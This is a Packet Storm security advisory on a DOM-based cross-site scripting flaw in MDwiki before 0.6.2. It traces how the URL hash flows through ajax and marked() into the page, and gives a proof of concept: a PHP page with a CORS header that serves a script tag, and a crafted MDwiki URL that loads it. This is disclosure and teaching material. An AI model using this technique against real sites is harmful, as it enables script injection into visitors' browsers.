what you don't know can hurt you

MDwiki Cross Site Scripting

MDwiki Cross Site Scripting
Posted Jan 9, 2019
Authored by Evi1m0

MDwiki versions prior to 0.6.2 suffer from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 027a43af292c7cdc3d6004b803c18c0a

MDwiki Cross Site Scripting

Change Mirror Download
Originally thought that only a problem with Tencent's site implementation, the black brother reminded me to look at the Github address in the source code, only to find the open source [MDwiki](https://github.com/Dynalon/mdwiki) universal system. (MDwiki is a wiki/CMS system built entirely on HTML5/Javascript technology and runs entirely on the client. No special server software is required, just upload mdwiki.html to the directory where you store the markdown files.) The problem occurs when the program gets the location The .hash value (normally test.md) is parsed and the ajax request is dynamically added to the page.

## MDwiki.min.js

Decompressing the compressed JavaScript is easy to debug, and the confusion variable is temporarily ignored, n() :

```
function n() {
var b;
b = window.location.hash.substring(window.location.hash.startsWith("#!") ? 2 : 1), b = decodeURIComponent(b);
var c = b.indexOf("#"); - 1 !== c ? (a.md.inPageAnchor = b.substring(c + 1), a.md.mainHref = b.substring(0, c)) : a.md.mainHref = b
}
```

The variable b gets the value after location.hash #! and URLDecode , which is then assigned to a.md.mainHref .

## ajax getURL

```
var d = {
url: a.md.mainHref,
dataType: "text"
};
a.ajax(d).done(function (a) {
b = a, c()
}).fail(function () {
var b = a.md.getLogger();
b.fatal("Could not get " + a.md.mainHref), c()
})
```
The content will be requested by a.md.mainHref, and the b variable will be a:page content after completion.

```
var e = d(b);
a("#md-content").html(e), b = "";
var g = a.Deferred();
f(g), g.always(function () {
c()
})
```
e = d(b), b requires equal to Payload, chase d function:

```
function d(b) {
var c = {
gfm: !0,
tables: !0,
breaks: !0
};
"original" === a.md.config.lineBreaks ? c.breaks = !1 : "gfm" === a.md.config.lineBreaks && (c.breaks = !0), marked.setOptions(c);
var d = marked(b);
return d
}
```

The e value is dynamically added to #md-content after being rendered by the d function a> marked(b) function, causing a vulnerability.

## PoC
We can construct a page to write to Payload and set the ACCESS-CONTROL-ALLOW-ORIGIN header:

```
cat test/mdwiki.php
<?php

header("ACCESS-CONTROL-ALLOW-ORIGIN:*");
?>
<script>alert(location.href)</script>
```

eg: http://dynalon.github.io/mdwiki/mdwiki.html#!http://server.n0tr00t.com/test/mdwiki.php

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    4 Files
  • 20
    Apr 20th
    5 Files
  • 21
    Apr 21st
    1 Files
  • 22
    Apr 22nd
    4 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close